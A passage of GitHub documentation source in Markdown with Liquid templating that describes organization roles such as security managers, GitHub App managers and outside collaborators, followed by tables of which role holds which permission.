For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization). - -### Billing managers - -Billing managers are users who can manage the billing settings for your organization, such as payment information. This is a useful option if members of your organization don't usually have access to billing resources. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization). - -{% endif %} - -### Security managers - -{% data reusables.organizations.security-manager-beta-note %} - -{% data reusables.organizations.about-security-managers %} - -If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization). - -### {% data variables.product.prodname_github_app %} managers - -By default, only organization owners can manage the settings of {% data variables.product.prodname_github_app %} registrations owned by an organization. To allow additional users to manage {% data variables.product.prodname_github_app %} registrations owned by an organization, an owner can grant them {% data variables.product.prodname_github_app %} manager permissions. - -When you designate a user as a {% data variables.product.prodname_github_app %} manager in your organization, you can grant them access to manage the settings of some or all {% data variables.product.prodname_github_app %} registrations owned by the organization. The {% data variables.product.prodname_github_app %} manager role does not grant users access to install and uninstall {% data variables.product.prodname_github_apps %} on an organization. For more information, see [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/adding-and-removing-github-app-managers-in-your-organization). - -### Outside collaborators{% ifversion repository-collaborators %} or repository collaborators{% endif %} - -To keep your organization's data secure while allowing access to repositories, you can add outside collaborators. An outside collaborator is a person who has access to one or more organization repositories but is not explicitly a member of the organization, such as a consultant or temporary employee. - -{% ifversion repository-collaborators %} -If your enterprise uses {% data variables.enterprise.prodname_managed_users %}, the outside collaborator role is called "repository collaborator." A repository collaborator must be part of your enterprise, with a {% data variables.enterprise.prodname_managed_user %} provisioned from your identity provider. If the user does not already consume a license, the user will consume a license after you grant access to a repository. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/about-per-user-pricing#about-changes-to-your-subscription). - -Generally, the outside collaborator and repository collaborator roles are equivalent, and the documentation for outside collaborators also applies to repository collaborators. However, the following distinctions apply: -* You cannot enforce two-factor authentication (2FA) for repository collaborators, because this feature is not available with {% data variables.product.prodname_emus %}. -* Repository collaborators cannot bypass single sign-on (SSO) requirements, because SSO is managed at the enterprise level in an {% data variables.enterprise.prodname_emu_enterprise %}. However, like outside collaborators, they do not need to provide SSO authorization of credentials for organizations where they are a collaborator. -* Repository collaborators are subject to your enterprise IP allow list policy and your identity provider's conditional access policy. However, they are not subject to the organization's IP allow list policy. - -{% data reusables.repositories.repository-collaborators-release-phase %} - -{% endif %} - -#### Managing outside collaborators{% ifversion repository-collaborators %} or repository collaborators{% endif %} - -To manage access to repositories for outside collaborators{% ifversion repository-collaborators %} or repository collaborators{% endif %}, see: - -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/removing-an-outside-collaborator-from-an-organization-repository) - -{% ifversion ghec or ghes %} -To control who can add outside collaborators{% ifversion repository-collaborators %} or repository collaborators{% endif %} to repositories, see: - -* [AUTOTITLE](/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators) -* [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-outside-collaborators-to-repositories) -{% endif %} - -## Permissions for organization roles - -{% ifversion fpt %} -Some of the features listed below are limited to organizations using {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} -{% endif %} - -{% ifversion fpt or ghec %} - - -{% rowheaders %} - -| Organization permission | Owners | Members | Moderators | Billing managers | Security managers | -|:------------------------|:------:|:-------:|:----------:|:----------------:|:-----------------:| -| Create repositories (see [AUTOTITLE](/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| View and edit billing information | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | -| Invite people to join the organization | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Edit and cancel invitations to join the organization | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} |{% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Remove members from the organization | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} |{% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Reinstate former members to the organization | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Add and remove people from **all teams** | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Promote organization members to _team maintainer_ | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Configure code review assignments (see [AUTOTITLE](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Set scheduled reminders (see [AUTOTITLE](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team)) | {% octicon "check" aria-label="Yes" %} |{% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Add collaborators to **all repositories** | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Access the organization audit log | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Edit the organization's profile page (see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% ifversion ghec %} | -| Verify the organization's domains (see [AUTOTITLE](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} |{% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Restrict email notifications to verified or approved domains (see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% endif %} | -| Delete **all teams** | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Delete the organization account, including all repositories | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Create teams (see [AUTOTITLE](/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| [Move teams in an organization's hierarchy](/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% ifversion projects-v1 %} | -| Create projects (see [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| See all organization members and teams | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| @mention any visible team | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| Can be made a _team maintainer_ | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% ifversion ghec %} | -| View organization insights (see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-dependencies-in-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| {% ifversion team-discussions %} | -| View and post public team discussions to **all teams** (see [AUTOTITLE](/organizations/collaborating-with-your-team/about-team-discussions)) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| View and post private team discussions to **all teams** (see [AUTOTITLE](/organizations/collaborating-with-your-team/about-team-discussions)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} |{% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Edit and delete team discussions in **all teams** (see [AUTOTITLE](/communities/moderating-comments-and-conversations/managing-disruptive-comments)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Disable team discussions for an organization (see [AUTOTITLE](/organizations/organizing-members-into-teams/disabling-team-discussions-for-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% endif %} | -| Hide comments on writable commits, pull requests, and issues (see [AUTOTITLE](/communities/moderating-comments-and-conversations/managing-disruptive-comments#hiding-a-comment)) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| Hide comments on _all_ commits, pull requests, and issues (see [AUTOTITLE](/communities/moderating-comments-and-conversations/managing-disruptive-comments#hiding-a-comment)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| Block and unblock non-member contributors (see [AUTOTITLE](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} |{% octicon "x" aria-label="No" %} | -| Limit interactions for certain users in public repositories (see [AUTOTITLE](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% ifversion ghec %} | -| Manage viewing of organization dependency insights (see [AUTOTITLE](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% endif %} | -| Set a team profile picture in **all teams** (see [AUTOTITLE](/organizations/organizing-members-into-teams/setting-your-teams-profile-picture)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Sponsor accounts and manage the organization's sponsorships (see [AUTOTITLE](/sponsors/sponsoring-open-source-contributors)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Manage email updates from sponsored accounts (see [AUTOTITLE](/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Attribute your sponsorships to another organization (see [AUTOTITLE](/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization) for details ) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Manage the publication of {% data variables.product.prodname_pages %} sites from repositories in the organization (see [AUTOTITLE](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Manage security and analysis settings (see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| View security overview for the organization (see [AUTOTITLE](/code-security/security-overview/about-security-overview)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% ifversion ghec %} | -| Enable and enforce [SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| [Manage a user's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Manage an organization's SSH certificate authorities (see [AUTOTITLE](/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% endif %} | -| Transfer repositories | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Purchase, install, manage billing for, and cancel {% data variables.product.prodname_marketplace %} apps | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| List apps in {% data variables.product.prodname_marketplace %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Receive [{% data variables.product.prodname_dependabot_alerts %} about insecure dependencies](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts) for all of an organization's repositories | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| Manage {% data variables.product.prodname_dependabot_security_updates %} (see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| [Manage the forking policy](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| [Limit activity in public repositories in an organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Pull (read) _all repositories_ in the organization | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| Push (write) and clone (copy) _all repositories_ in the organization | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Convert organization members to {% ifversion repository-collaborators %}[outside collaborators or repository collaborators](#outside-collaborators-or-repository-collaborators){% else %}[outside collaborators](#outside-collaborators){% endif %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| [View people with access to an organization repository](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/viewing-people-with-access-to-your-repository) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% ifversion ghec %} | -| [Export a list of people with access to an organization repository](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/viewing-people-with-access-to-your-repository#exporting-a-list-of-people-with-access-to-your-repository) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% endif %} | -| Manage the default branch name (see [AUTOTITLE](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Manage default labels (see [AUTOTITLE](/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% ifversion ghec %} | -| Enable team synchronization (see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% endif %} | -| Manage pull request reviews in the organization (see [AUTOTITLE](/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% ifversion repo-rules-enterprise %} | -| Manage organization-level rulesets (see [AUTOTITLE](/organizations/managing-organization-settings/managing-rulesets-for-repositories-in-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% endif %} | -| {% ifversion push-protection-bypass-fine-grained-permissions %} | -| Review and manage {% data variables.product.prodname_secret_scanning %} bypass requests (see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| {% ifversion security-delegated-alert-dismissal %} | -| Review and manage {% data variables.product.prodname_secret_scanning %} dismissal requests | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| {% ifversion security-delegated-alert-dismissal %} | -| Review and manage {% data variables.product.prodname_code_scanning %} dismissal requests | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | - -{% endrowheaders %} - -{% elsif ghes %} - - -{% rowheaders %} - -| Organization action | Owners | Members | Security managers | -|:--------------------|:------:|:-------:|:-------:| -| Invite people to join the organization | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} |{% octicon "x" aria-label="No" %} | -| Edit and cancel invitations to join the organization | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Remove members from the organization | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Reinstate former members to the organization | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Add and remove people from **all teams** | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Promote organization members to _team maintainer_ | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Configure code review assignments (see [AUTOTITLE](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Add collaborators to **all repositories** | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Access the organization audit log | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Edit the organization's profile page (see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% ifversion ghes %} | -| Verify the organization's domains (see [AUTOTITLE](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Restrict email notifications to verified or approved domains (see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% endif %} | -| Delete **all teams** | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Delete the organization account, including all repositories | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Create teams (see [AUTOTITLE](/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| See all organization members and teams | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| @mention any visible team | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Can be made a _team maintainer_ | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Transfer repositories | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Manage security and analysis settings (see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% ifversion ghes %} | -| View the security overview for the organization (see [AUTOTITLE](/code-security/security-overview/about-the-security-overview)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| {% ifversion security-delegated-alert-dismissal %} | -| Review and manage {% data variables.product.prodname_secret_scanning %} dismissal requests | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| {% ifversion security-delegated-alert-dismissal %} | -| Review and manage {% data variables.product.prodname_code_scanning %} dismissal requests | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| {% ifversion ghes %} | -| Manage {% data variables.product.prodname_dependabot_security_updates %} (see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| Manage an organization's SSH certificate authorities (see [AUTOTITLE](/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% ifversion projects-v1 %} | -| Create {% data variables.projects.projects_v1_boards %} (see [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| {% ifversion team-discussions %} | -| View and post public team discussions to **all teams** (see [AUTOTITLE](/organizations/collaborating-with-your-team/about-team-discussions)) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| View and post private team discussions to **all teams** (see [AUTOTITLE](/organizations/collaborating-with-your-team/about-team-discussions)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Edit and delete team discussions in **all teams** (for more information, see [AUTOTITLE](/communities/moderating-comments-and-conversations/managing-disruptive-comments)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% endif %} | -| Hide comments on commits, pull requests, and issues (see [AUTOTITLE](/communities/moderating-comments-and-conversations/managing-disruptive-comments#hiding-a-comment)) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% ifversion team-discussions %} | -| Disable team discussions for an organization (see [AUTOTITLE](/organizations/organizing-members-into-teams/disabling-team-discussions-for-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% endif %} | -| Set a team profile picture in **all teams** (see [AUTOTITLE](/organizations/organizing-members-into-teams/setting-your-teams-profile-picture)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% ifversion ghes %} | -| Manage the publication of {% data variables.product.prodname_pages %} sites from repositories in the organization (see [AUTOTITLE](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% endif %} | -| [Move teams in an organization's 